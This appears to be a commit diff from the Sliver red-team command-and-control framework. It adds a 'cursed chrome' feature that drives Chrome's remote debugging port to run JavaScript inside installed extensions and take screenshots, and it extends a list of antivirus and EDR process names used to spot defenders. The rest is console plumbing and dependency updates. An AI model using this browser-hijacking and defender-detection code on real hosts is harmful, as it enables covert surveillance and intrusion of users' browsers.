"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
+1 -1
View File
@@ -90,7 +90,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Int("ppid")),
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
+4
View File
@@ -50,6 +50,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -62,6 +64,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
+5
View File
@@ -281,6 +281,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
if targetOS == "" || targetArch == "" {
return nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
@@ -473,6 +477,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
uri.Path = strings.TrimSuffix(uri.Path, "/")
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
+15
View File
@@ -103,6 +103,8 @@ var (
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
`
cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
If no extension is specified, Sliver will enumerate all installed extensions, extract their
permissions and determine a valid target for injection. For Cursed Chrome to work properly
the target extension must have either of these two sets of permissions:
1. "webRequest" "webRequestBlocking" "<all_urls>"
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
)
+1 -1
View File
@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
"Remote Address",
})
for _, p := range portfwds {
tw.AppendHeader(table.Row{
tw.AppendRow(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
+21
View File
@@ -39,6 +39,11 @@ var (
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -46,12 +51,28 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
+5 -3
View File
@@ -19,6 +19,7 @@ package reaction
*/
import (
"fmt"
"os"
"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
reactionPath := GetReactionFilePath()
if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
confirm := false
prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Saved reactions to disk\n")
con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
}
}
+2
View File
@@ -157,6 +157,8 @@ func emojiState(state string) string {
return "⏳"
case "failed":
return "❌"
case "canceled":
return "🚫"
default:
return "❓"
}
+60
View File
@@ -0,0 +1,60 @@
package tasks
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
idArg := ctx.Args.String("id")
var task *clientpb.BeaconTask
var err error
if idArg == "" {
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tasks := []*clientpb.BeaconTask{}
for _, task := range beaconTasks.Tasks {
if task.State == "pending" {
tasks = append(tasks, task)
}
}
if len(tasks) == 0 {
con.PrintErrorf("No pending tasks for beacon\n")
return
}
task, err = SelectBeaconTask(tasks)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf(console.UpN+console.Clearln, 1)
} else {
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if task != nil {
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Task %s canceled\n", task.ID)
}
}
+2
View File
@@ -97,6 +97,8 @@ func prettyState(state string) string {
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
case "canceled":
return console.Bold + console.Gray + state + console.Normal
default:
return state
}
+1
View File
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
core.CloseCursedProcesses(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
+7
View File
@@ -104,6 +104,7 @@ const (
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
CancelStr = "cancel"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
@@ -238,6 +239,12 @@ const (
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
Cursed = "cursed"
CursedChrome = "chrome"
CursedConsole = "console"
CursedElectron = "electron"
CursedEdge = "edge"
)
// Groups
+92
View File
@@ -0,0 +1,92 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"net/url"
"sync"
)
var (
// SessionID -> CursedProcess
CursedProcesses = &sync.Map{}
)
type CursedProcess struct {
SessionID string
PID uint32
BindTCPPort int
PortFwd *Portfwd
Platform string
ExePath string
ChromeUserDataDir string
}
func (c *CursedProcess) DebugURL() *url.URL {
return &url.URL{
Scheme: "http",
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
Path: "/json",
}
}
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
var cursedProcesses []*CursedProcess
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
cursedProcesses = append(cursedProcesses, cursedProcess)
}
return true
})
return cursedProcesses
}
func CloseCursedProcesses(sessionID string) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcess := value.(*CursedProcess)
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
defer func() {
value, loaded := CursedProcesses.LoadAndDelete(key)
if loaded {
curse := value.(*CursedProcess)
Portfwds.Remove(curse.PortFwd.ID)
}
}()
}
return true
})
}
+300
View File
@@ -0,0 +1,300 @@
package overlord
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"github.com/bishopfox/sliver/client/core"
"github.com/chromedp/cdproto/page"
"github.com/chromedp/cdproto/target"
"github.com/chromedp/chromedp"
)
const (
// AllURLs - All URLs permission
AllURLs = "<all_urls>"
// AllHTTP - All HTTP permission
AllHTTP = "http://*/*"
// AllHTTPS - All HTTP permission
AllHTTPS = "https://*/*"
// WebRequest - WebRequest permission
WebRequest = "webRequest"
// WebRequestBlocking - WebRequestBlocking permission
WebRequestBlocking = "webRequestBlocking"
// FetchManifestJS - Get extension manifest
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
)
var (
// ErrTargetNotFound - Returned when a target cannot be found
ErrTargetNotFound = errors.New("Target not found")
)
// ManifestBackground - An extension manifest file
type ManifestBackground struct {
Scripts []string `json:"scripts"`
Persistent bool `json:"persistent"`
}
// Manifest - An extension manifest file
type Manifest struct {
Name string `json:"name"`
Version string `json:"version"`
Description string `json:"description"`
ManifestVersion int `json:"manifest_version"`
Permissions []string `json:"permissions"`
Background ManifestBackground `json:"background"`
}
// ChromeDebugTarget - A single debug context object
type ChromeDebugTarget struct {
Description string `json:"description"`
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
ID string `json:"id"`
Title string `json:"title"`
Type string `json:"type"`
URL string `json:"url"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
var allocCtx context.Context
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
opts := []func(*chromedp.ExecAllocator){
chromedp.Flag("restore-last-session", true),
chromedp.UserDataDir(userHomeDir),
}
switch platform {
case "darwin":
opts = append(opts,
chromedp.Flag("headless", false),
chromedp.Flag("use-mock-keychain", false),
)
default:
opts = append(opts, chromedp.Headless)
}
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
return opts
}
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
var (
cancel context.CancelFunc
)
if webSocketURL != "" {
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
} else {
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
}
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
return taskCtx, taskCancel, cancel
}
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
targets, err := chromedp.Targets(ctx)
if err != nil {
return nil
}
for _, targetInfo := range targets {
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
return targetInfo
}
}
return nil
}
func contains(haystack []string, needle string) bool {
set := make(map[string]struct{}, len(haystack))
for _, entry := range haystack {
set[entry] = struct{}{}
}
_, ok := set[needle]
return ok
}
func containsAll(haystack []string, needles []string) bool {
all := true
for _, needle := range needles {
if !contains(haystack, needle) {
all = false
break
}
}
return all
}
// ExecuteJS - injects a JavaScript code into a target
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
targetInfo := findTargetInfoByID(ctx, targetID)
if targetInfo == nil {
return nil, ErrTargetNotFound
}
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
var result []byte
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
return result, err
}
// FindExtensionWithPermissions - Find an extension with a permission
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
return &target, nil
}
}
return nil, nil // No targets, no errors
}
// FindExtensionsWithPermissions - Find an extension with a permission
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
if err != nil {
return nil, err
}
extensions := []*ChromeDebugTarget{}
for _, target := range targets {
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
if err != nil {
continue
}
manifest := &Manifest{}
err = json.Unmarshal(result, manifest)
if err != nil {
continue
}
if containsAll(manifest.Permissions, permissions) {
extensions = append(extensions, &target)
}
}
return extensions, nil
}
// QueryDebugTargets - Query debug listener using HTTP client
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
return debugContexts, err
}
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
resp, err := http.Get(debugURL)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, errors.New("Non-200 status code")
}
data, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
debugContexts := []ChromeDebugTarget{}
err = json.Unmarshal(data, &debugContexts)
if err != nil {
return nil, err
}
extensionContexts := []ChromeDebugTarget{}
for _, debugCtx := range debugContexts {
ctxURL, err := url.Parse(debugCtx.URL)
if err != nil {
continue
}
if ctxURL.Scheme == "chrome-extension" {
extensionContexts = append(extensionContexts, debugCtx)
}
}
return extensionContexts, nil
}
// Screenshot - Take a screenshot of a Chrome context
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
var result []byte
screenshotTask := chromedp.Tasks{
chromedp.ActionFunc(func(ctx context.Context) error {
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
if err != nil {
return err
}
result, err = page.CaptureScreenshot().
WithQuality(quality).
WithClip(&page.Viewport{
X: contentSize.X,
Y: contentSize.Y,
Width: contentSize.Width,
Height: contentSize.Height,
Scale: 1,
}).Do(ctx)
if err != nil {
return err
}
return nil
}),
}
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
defer taskCancel()
defer cancel()
targetInfo := findTargetInfoByID(taskCtx, targetID)
if targetInfo == nil {
return []byte{}, ErrTargetNotFound
}
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
if err := chromedp.Run(ctx, screenshotTask); err != nil {
return nil, err
}
return result, nil
}
+1 -1
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.5"
GO_VER="1.18.6"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
+39 -31
View File
@@ -1,22 +1,26 @@
module github.com/bishopfox/sliver
go 1.17
go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gofrs/uuid v3.3.0+incompatible
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
@@ -24,18 +28,18 @@ require (
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
@@ -43,10 +47,10 @@ require (
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gorm.io/driver/mysql v1.3.6
gorm.io/driver/postgres v1.3.9
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.8
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
@@ -61,41 +65,45 @@ require (
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.12 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
@@ -106,7 +114,7 @@ require (
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+133 -146
View File
@@ -27,7 +27,6 @@ cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4g
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
